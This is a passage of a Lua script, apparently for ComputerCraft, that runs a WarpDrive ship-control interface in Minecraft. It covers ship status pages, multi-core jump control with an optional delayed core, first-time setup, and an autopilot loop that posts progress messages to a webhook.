           http.post(uri,"{\"content\":\"```yaml\\nAutopilot: Executing next node There are "..#navdata.." node(s) left to execute.```\"}",{['content-type']="application/json"})
           table.remove(navdata,1)
           if fs.exists(navbackup) then
             fs.delete(navbackup)
           end
           if #navdata > 0 then
             local text = textutils.serialize(navdata)
             local h = fs.open(navdatafile, "w")
             h.write(text)
             h.close()
             fs.copy(navdatafile, navbackup)
           else
             fs.delete(navdatafile)
           end
           ship.command("MANUAL", false)
           ship.movement(move[1],move[2],move[3])
           ship.rotationSteps(0)
           ship.command("MANUAL", true)
 
           for i=60,0,-1 do
             w.status_showSuccess("Waiting for the ship to jump..."..i.."   ")
             sleep(1)
           end
           number = #navdata + 1
           http.post(uri,"{\"content\":\"```yaml\\nAutoPilot: Failed Executing node "..number..".```\"}",{['content-type']="application/json"})
           fs.delete(navdatafile)
           fs.copy(navbackup, navdatafile)
           w.status_showWarning("The ship did not jump.")
           if failping >= 0 then
             http.post(uri,"{\"content\":\""..name.."\"}",{['content-type']="application/json"})
           end
           sleep(3)
           os.reboot()
         end
       end
       targetAutopilot = ""
       ship_page_navigation()
     end
   end
 end
 
 function ship_page_controls()
 local minValues, maxValues = getCoreBoundaries()
   w.page_begin("Core(s) Detected (" .. ConnectedCores .. ") " .. w.data_getName() .. " - Ship controls")
   if ship == nil or ship.isInterfaced() == nil then
     w.status_showWarning("No ship controller detected")
   else
     local isValid, message = ship.getAssemblyStatus()
     if isValid ~= true then
       w.status_showWarning(message)
     else
       local isEnabled = ship.enable()
       if not isEnabled then
         ship.command("MANUAL", false)
         ship_updateMovementStats()
       end
     end
 
     w.setCursorPos(1, 2)
     w.writeLn("Ship:")
     w.writeLn(" Current position = " .. w.format_integer(ship_x) .. ", " .. w.format_integer(ship_y) .. ", " .. w.format_integer(ship_z))
     local energyStored, energyMax, energyUnits = ship.getEnergyStatus()
     if energyStored == nil then energyStored = 0 end
     if energyMax == nil or energyMax == 0 then energyMax = 1 end
     w.writeLn(" Energy           = " .. math.floor(energyStored / energyMax * 100) .. " % (" .. w.format_integer(energyStored) .. " " .. energyUnits .. ")")
 
     w.writeLn("")
     w.writeLn("Dimensions:")
     w.writeLn(" Front, Right, Up = " .. w.format_integer(ship_front) .. ", " .. w.format_integer(ship_right) .. ", " .. w.format_integer(maxValues[2]) .. " blocks")
     w.writeLn(" Back, Left, Down = " .. w.format_integer(ship_back) .. ", " .. w.format_integer(ship_left) .. ", " .. w.format_integer(minValues[2]) .. " blocks")
     local shipMass, shipVolume = ship.getShipSize()
     if shipMass == nil then
       shipMass = 0
       shipVolume = 0
     end
     w.write(" Mass, Volume     = ")
     if shipMass == 0 then
       w.write("?")
     else
       w.write(w.format_integer(shipMass))
     end
     w.write(" tons, ")
     if shipVolume == 0 then
       w.write("?")
     else
       w.write(w.format_integer(shipVolume))
     end
     w.writeLn(" blocks")
 
     if isValid == true then
       w.writeLn("")
       w.writeLn("Warp data:")
       ship_writeMovement(" Movement         = ")
       w.writeLn(" Distance         = " .. w.format_integer(ship_actualDistance) .. " m (" .. w.format_integer(ship_energyRequired) .. " " .. energyUnits .. ", " .. math.floor(energyStored / ship_energyRequired) .. " jumps)")
       w.writeLn(" Target position  = " .. w.format_integer(ship_xTarget) .. ", " .. w.format_integer(ship_yTarget) .. ", " .. w.format_integer(ship_zTarget))
     end
   end
 
   w.setCursorPos(1, 16)
   w.setColorControl()
   w.writeFullLine(" set ship Name (N), Recall Pos (R), Movement (M/P)")
   if ship_isInHyper then
     w.writeFullLine(" Jump to move ship (J), exit Hyperspace (H)")
   else
     w.writeFullLine(" Jump to move ship (J), enter Hyperspace (H)")
   end
 end
 
 function ship_key_controls(character, keycode)
   if character == 'm' or character == 'M' then
     ship_page_setMovement(false)
     ship_page_setRotation()
     ship_warp()
     return true
   elseif character == 'p' or character == 'P' then
     ship_page_setMovement(true)
     ship_page_setRotation()
     ship_warp()
     return true
   elseif character == 'i' or character == 'I' then
     --ship_page_setDimensions()
 	w.input_readConfirmation("This Function is not supported")
     return true
 elseif character == 'r' or character == 'R' then
 	processRecall()
 
     return true
 
   elseif character == 'j' or character == 'J' then
     ship_warp()
     return true
   elseif character == 'h' or character == 'H' then
     -- rs.setOutput(alarm_side, true)
     local isConfirmed
     if ship_isInHyper then
       isConfirmed = w.input_readConfirmation("Disengage hyperdrive? (Y/n)")
     else
       isConfirmed = w.input_readConfirmation("Engage hyperdrive? (Y/n)")
     end
     if isConfirmed then
 	-- rs.setOutput(alarm_side, false)
 
 	-- Use callAllCoresWithDelay to set HYPERDRIVE mode for all cores
 	callAllCoresWithDelay("command", "HYPERDRIVE", true)
 
 	ship_updateMovementStats()
 	-- ship = nil
 	end
     -- rs.setOutput(alarm_side, false)
     return true
   elseif character == 'n' or character == 'N' then
     w.data_setName()
     return true
   end
   return false
 end
 
 function callAllCoresWithDelay(method, ...)
   local args = {...}
   local results = {}
   local delayedCoreResult = nil
 
   local function callWrapper(core)
     if core.wrapper[method] then
       local result = { pcall(core.wrapper[method], table.unpack(args)) }
       local success = table.remove(result, 1)
       if success then
         if #result > 0 then
           table.insert(results, result)
         end
       else
         print("Error calling method " .. method .. " on core " .. core.address)
       end
     end
   end
 
   for _, core in ipairs(cores) do
     if core.wrapper[method] then
       if delayedCore and core.address == delayedCore.address then
         -- Process delayed core result later
         delayedCoreResult = function() callWrapper(core) end
       else
         -- Process non-delayed core
         callWrapper(core)
       end
     end
   end
 
   if delayedCoreResult then
     os.sleep(10) -- 10 second delay
     delayedCoreResult() -- process delayed core result
   end
 
   if #results > 0 then
     return table.unpack(results[1])
   end
 end
 
 function ship_page_coreList()
 loadDelayedCore()
   w.page_begin(w.data_getName() .. " - Core List")
 
   w.writeLn("Connected Cores:")
   for index, core in ipairs(cores) do
     local coreName = core.wrapper.name() or "Unnamed"
 
     if index == ship_indexCore + 1 then
       w.setColorSelected() -- Change color for selected core
       w.write(">") -- Add the indicator for the selected core
     else
       w.write(" ")
     end
 	w.write(index .. ". " .. core.address .. " (" .. coreName .. ")")
 
     -- Indicate the delayed core
     if delayedCore and core.address == delayedCore.address then
       w.setColorWarning()
       w.write(" (Delayed)")
       w.setColorNormal()
     end
 
     w.writeLn("")
   end
 
   w.setColorNormal()
 
   w.setCursorPos(1, 16)
   w.setColorControl()
   w.writeFullLine(" Select core (Up, Down)   Set delay for core (D)")
   --w.writeFullLine(" Set delay for core (D)")
 end
 
 function ship_key_coreList(character, keycode)
   if keycode == 200 or keycode == 203 or character == '-' then -- Up or Left or -
     if ship_indexCore == 0 then
       ship_indexCore = #cores - 1
     else
       ship_indexCore = ship_indexCore - 1
     end
     return true
   elseif keycode == 208 or keycode == 205 or character == '+' then -- Down or Right or +
     if ship_indexCore == #cores - 1 then
       ship_indexCore = 0
     else
       ship_indexCore = ship_indexCore + 1
     end
       elseif character == 'd' or character == 'D' then
         delayedCore = cores[ship_indexCore + 1]
     saveDelayedCore() -- Save the delayed core to a file
     ship_page_coreList() -- Redraw the Ship Core Page
     local coreName = delayedCore.wrapper.name() or "Unnamed"
     w.status_showSuccess("Added 10-second delay to core " .. coreName)
     return true
   end
   return false
 end
 
 function ship_writeArray(arrayValues, indexSelected)
   if indexSelected then
     indexSelected = (indexSelected + #arrayValues) % #arrayValues
   end
 
   local indexSplit = math.ceil(#arrayValues / 2)
   for i = 1, indexSplit do
     if indexSelected and i == indexSelected + 1 then
       w.setColorSelected()
       w.write(">" .. string.sub(arrayValues[i] .. "                        ", 1, 24))
       w.setColorNormal()
     else
       w.write(" " .. string.sub(arrayValues[i] .. "                        ", 1, 24))
     end
     if arrayValues[i + indexSplit] ~= nil then
       if indexSelected and i + indexSplit == indexSelected + 1 then
         w.setColorSelected()
         w.writeLn(">" .. string.sub(arrayValues[i + indexSplit] .. "                        ", 1, 24))
         w.setColorNormal()
       else
         w.writeLn(" " .. arrayValues[i + indexSplit])
       end
     else
       w.writeLn("")
     end
   end
   return indexSelected
 end
 
 function ship_page_navigation()
   --w.page_begin(w.data_getName() .. " - Ship navigation //NON-FUNCTIONAL\\")
   w.page_begin("Ship navigation //NON-FUNCTIONAL\\")
   if ship == nil or ship.isInterfaced() == nil then
     w.status_showWarning("No ship controller detected")
   else
     local isValid, message = ship.getAssemblyStatus()
     if isValid ~= true then
       w.status_showWarning(message)
     else
       w.writeLn("Ship:")
       w.writeLn(" Current position = " .. w.format_integer(ship_x) .. ", " .. w.format_integer(ship_y) .. ", " .. w.format_integer(ship_z))
       w.writeLn("Destination:")
       local stringTarget, _ = targetAutopilot, nil -- ship.getTargets()
       if stringTarget == nil or stringTarget == "" then
         stringTarget = "~ None ~"
       end
       local arrayTarget = w.data_splitString(stringTarget, ",")
       ship_indexTarget = ship_writeArray(arrayTarget, ship_indexTarget)
     end
   end
 
   w.setCursorPos(1, 16)
   w.setColorControl()
   w.writeFullLine(" set Destination (Enter)")
   --w.writeFullLine(" engage Auto Pilot (G)")
   w.writeFullLine("")
 end
 
 function ship_key_navigation(character, keycode)
   if keycode == 28 then -- Enter
     ship_page_autopilot()
     return true
 
   elseif character == 'g' or character == 'G' then -- G
     --ship_page_jumpToGate()
     return true
   elseif keycode == 200 or keycode == 203 or character == '-' then -- Up or Left or -
     ship_indexTarget = ship_indexTarget - 1
     return true
   elseif keycode == 208 or keycode == 205 or character == '+' then -- Down or Right or +
     ship_indexTarget = ship_indexTarget + 1
     return true
   end
   return false
 end
 
 function ship_page_advanced()
   w.page_begin(w.data_getName() .. " - Advanced")
 
   w.setCursorPos(1, 5)
   local status, isEnabled, state, energy = ship.state()
 	if state == nil then state = "-Undetected-" end
   w.writeLn("Ship is in " .. state .. " mode")
 
   w.setCursorPos(1, 16)
   w.setColorControl()
   w.writeFullLine("OFFLINE/disabled mode |O|I| IDLE/online mode")
   w.writeFullLine("     MAINTENANCE mode |M|R| Reset core info")
 end
 
 function ship_key_advanced(character, keycode)
   if character == 'o' or character == 'O' then -- O
     ship.command("OFFLINE", false)
     ship.command("OFFLINE", true)
     ship.enable(false)
     return true
   elseif character == 'm' or character == 'M' then -- M
     ship.command("MAINTENANCE", false)
     ship.enable(true)
     ship.command("MAINTENANCE", true)
     return true
   elseif character == 'i' or character == 'I' then -- I
     ship.command("IDLE", false)
     ship.enable(true)
     ship.command("IDLE", true)
   elseif character == 'r' or character == 'R' then -- R
     if w.input_readConfirmation("Are you sure? This cannot be undone. (Y/N)") then
     shell.run("delete Relpositions.dat")
 	 w.status_showWarning("The Computer will now reboot...")
 	sleep(2) os.reboot()
 	end
     return true
   end
   return false
 end
 
 ----------- connections status
 
 function connections_page(isBooting)
   w.page_begin(w.data_getName() .. " - Connections")
 
   w.writeLn("")
 
   local monitors = w.device_getMonitors()
   if #monitors == 0 then
     w.setColorDisabled()
     w.writeLn("No Monitor detected")
   elseif #monitors == 1 then
     w.setColorSuccess()
     w.writeLn("1 monitor detected")
   else
     w.setColorSuccess()
     w.writeLn(#monitors .. " Monitors detected")
   end
 
   if ship == nil or ship.isInterfaced() == nil then
     w.setColorDisabled()
     w.writeLn("No ship controller detected")
   else
     w.setColorSuccess()
     w.writeLn("Ship controller detected")
     if isBooting then
       ship_boot()
     end
   end
 
   w.writeLn("")
   w.setColorNormal()
   w.writeLn("This is a keyboard controlled user interface.")
   w.write("Key controls are written like so: ")
   w.setColorControl()
   w.write("Action (key)")
   w.setColorNormal()
   w.writeLn(".")
   w.write("For example, typing ")
   w.setColorControl()
   w.write(" 1 ")
   w.setColorNormal()
   w.writeLn(" will open Ship controls.")
 end
 
  function cupdate()
 	local CID = 0
 	for _, core in ipairs(cores) do
 	CID = CID + 1
     local CorePosx, CorePosy, CorePosz = core.wrapper.getLocalPosition()
     table.insert(corePositions, {Core = CID, x = CorePosx, y = CorePosy, z = CorePosz})
 	core.wrapper.command("MANUAL",false)
 	local CoreVecx, CoreVecy, CoreVecz = core.wrapper.movement()
 	table.insert(coreVectors, {Core = CID, x = CoreVecx, y = CoreVecy, z = CoreVecz})
 	end
 	coreupdate(corePositions, coreVectors)
  end
 
 
 
 -- Function to wait for a key press
 local function waitForKeyPress()
     print("Press any key to continue...")
 
     while true do
 	sleep(0.1) -- dont time out
         local event, key = os.pullEvent("key")
         if event == "key" then
             return
         end
     end
 end
 
 
 ----------- Boot sequence
 
 	-- Function to simulate typing out message
 	 local function typeOut(text, delay, color)
 	     term.setTextColor(color or colors.white)  -- Set the text color (default is white if no color is provided)
 	     for i = 1, #text do
 	         write(text:sub(i, i))  -- Write one character at a time
 	         sleep(delay)
 	     end
 	 end
 
 	 -- First-time setup check
 	if fs.exists("Relpositions.dat") then
 		term.setCursorBlink(true)
 		term.setCursorPos(0,0)
 		checkCorePos()
 
 		-- Print all errors, if any
 		if #errors > 0 then
 			print("Errors found:\n")
 			for _, errorMsg in ipairs(errors) do
 				print(errorMsg)
 			end
 
 			typeOut("\n\nPress 'r' to reboot...\n", 0.05, colors.yellow)
 			typeOut("Press 'f' to attempt recall...\n",0.05,colors.orange)
 			typeOut("Press 'm' to reset to default settings\n (This erases core info)", 0.05, colors.red)
 
 			--handle keypresses
 			local function handleKeyPress(character)
 				if character == 'r' or character == 'R' then -- R
 					os.reboot()
 				elseif character == 'f' or character == 'F' then -- F
 					processRecall()
 					w.status_showWarning("Attempting to recall core(s)...")
 					sleep(2.5)
 
 					--count down to reboot
 					local i = 10
 					while i do
 						w.status_showWarning("Rebooting in ("..i..")")
 						i = i - 1
 						sleep(1)
 
 						if i <= 0 then os.reboot()
 						end
 					end
 
 				elseif character == 'm' or character == 'M' then -- M
 					if w.input_readConfirmation("Are you sure? This cannot be undone. (Y/N)") then
 						shell.run("delete Relpositions.dat")
 						w.status_showWarning("The Computer will now reboot...")
 						sleep(2)
 						os.reboot()
 					end
 				end
 			end
 
 			-- Wait for keypresses indefinitely
 			while true do
 				local event, character = os.pullEvent("char")  -- Wait for a character input event
 				handleKeyPress(character)
 				sleep(0.1)
 			end
 		end
 	else
 	    checkCorePos()
 
 	     -- Setup initial information display
 	     term.clear()
 	     term.setCursorPos(1, 1)
 	     term.setCursorBlink(true)
 
 	     -- Displaying the setup instructions
 	     typeOut("Initializing first time setup...\n\n", 0.05, colors.cyan)
 	     typeOut("Once complete, you can't move any ship cores\n", 0.05, colors.red)
 	     typeOut("Nor can you move the anchor block (Siren)\n\n", 0.05, colors.red)
 	     typeOut("If these blocks are moved OR have their modems     broken for any reason, you MUST reset the              First Time Configuration (FTC) \n\nFailure to follow this warning MAY lead to         unexpected operational errors\n\n", 0.05, colors.yellow)  -- Yellow color for the title
 	     typeOut("To reset the FTC, follow these simple steps:\n", 0.05, colors.blue)
 	     typeOut("Step 1: Open page 4 of this program\n", 0.05, colors.green)
 	     typeOut("Step 2: Press 'r'\n", 0.05, colors.purple)
 
 	     term.setTextColor(colors.red)
 
 	     waitForKeyPress()  -- Wait for the user to acknowledge and press any key
 
 	     -- Additional confirmation
 	     term.clear()
 	     term.setCursorPos(1, 1)
 		 printSavedPos()
 	     typeOut("\nThank you!\n", 0.05, colors.green)
 	     typeOut("Setup is complete.\n", 0.05, colors.green)
 	     waitForKeyPress()  -- Wait for the user to press any key again
 		 os.reboot()
 	end
 
 -------- Actually Booting...
 
 w.page_setEndText(" Home (0), Ctrl (1), Cores (2), Nav (3), Advncd (4) ")
 w.page_register('0', connections_page, nil)
 w.page_register('1', ship_page_controls, ship_key_controls)
 --w.page_register('2', ship_page_crew, ship_key_crew)
 w.page_register('2', ship_page_coreList, ship_key_coreList)
 w.page_register('3', ship_page_navigation, ship_key_navigation)
 w.page_register('4', ship_page_advanced, ship_key_advanced)
 ship_register()
 
 	w.boot()
 	cupdate()
 	checkCorePos()
 	processRecall()
 	term.setCursorBlink(false)
 
 
 	on = redstone.getAnalogInput(lever)
 
 	if on > 6 then
 	  w.status_showWarning("AutoPilot: Disabled")
 	  sleep(3)
 	elseif on < 5 then
 	  if fs.exists(navdatafile) then
 		local h = fs.open(navdatafile, "r")
 		local text = h.readAll()
 		navdata = textutils.unserialize(text)
 		h.close()
 
 		for _, core in ipairs(cores) do
       local wrap = core.wrapper
 
 		while true do
 		  local status, isEnabled, state, energy = wrap.state()
 		  if state ~= "COOLING" then break end
 		  w.status_showWarning("Waiting Ship is in " .. state .. " mode")
 		  sleep(5)
 		end
 
 	while true do
 			local status, isEnabled, state, energy = wrap.state()
 			if state ~= "-NotDetected-" then break end
 			w.status_showWarning("Waiting to connect to core(s)...")
 			sleep(5)
 		end
 	end
 		--------------------------------------AUTO PILOT
 		for i=1,#navdata do
 		  local move = navdata[i]
 
 		  w.status_showSuccess("Executing Jump. There are "..#navdata.." Jump(s) left.")
 		  http.post(uri,"{\"content\":\"```yaml\\nAutopilot: Executing next node There are "..#navdata.." node(s) left to execute.```\"}",{['content-type']="application/json"})
 		  table.remove(navdata,1)
 		  if fs.exists(navbackup) then
 			fs.delete(navbackup)
 			fs.copy(navdatafile, navbackup)
 		  end
 		  if #navdata > 0 then
 			local text = textutils.serialize(navdata)
 			local h = fs.open(navdatafile, "w")
 			h.write(text)
 			h.close()
 		  else
 			fs.delete(navdatafile)
 		  end
 		  ship.command("MANUAL", false)
 		  ship.movement(move[1],move[2],move[3])
 		  ship.rotationSteps(0)
 		  ship.command("MANUAL", true)
 		  sleep(10)
 		  for i=50,0,-1 do
 			w.status_showWarning("Waiting for the ship to jump..."..i.."   ")
 			sleep(1)
 		  end
 		  number = #navdata + 1
 		  http.post(uri,"{\"content\":\"```yaml\\nAutoPilot: Failed Executing node "..number..".```\"}",{['content-type']="application/json"})
 		  fs.delete(navdatafile)
 		  fs.copy(navbackup, navdatafile)
 		  w.status_showWarning("AutoPilot: Failed Executing node " .. number)
 		  if failping >= 0 then
 			http.post(uri,"{\"content\":\""..name.."\"}",{['content-type']="application/json"})
 		  end
 		  sleep(3)
 		  os.reboot()
 		end
 
 		--------------------------------------AUTO PILOT
 	  end
 	end
 
 	-- while true do
 		-- local status, isEnabled, state, energy = ship.state()
 		-- if state == "COOLING" then
 			-- w.status_showWarning("Waiting Ship is in " .. state .. " mode")
 			-- sleep(5)
 		-- elseif state == "-NotDetected-" then
 			-- w.status_showWarning("Waiting to connect to core(s)...")
 			-- sleep(5)
 		-- else
 			-- break
 		-- end
 	-- end
 
 	for _, core in ipairs(cores) do
       local wrap = core.wrapper
 
 		while true do
 		  local status, isEnabled, state, energy = wrap.state()
 		  if state ~= "COOLING" then break end
 		  w.status_showWarning("Waiting Ship is in " .. state .. " mode")
 		  sleep(5)
 		end
 
 	while true do
 			local status, isEnabled, state, energy = wrap.state()
 			if state ~= "-NotDetected-" then break end
 			w.status_showWarning("Waiting to connect to core(s)...")
 			sleep(5)
 		end
 	end
 
 	local success, message = pcall(w.run)
 	if not success then
 	  print("failed with message")
 	  print(message)
 	  w.sleep(5)
 	  print("rebooting...")
 	  w.reboot()
 	else
 	  if ship ~= nil then
 		ship.command("OFFLINE", true)
 		ship.enable(false)
 	  end
 
 	  w.close()
 	end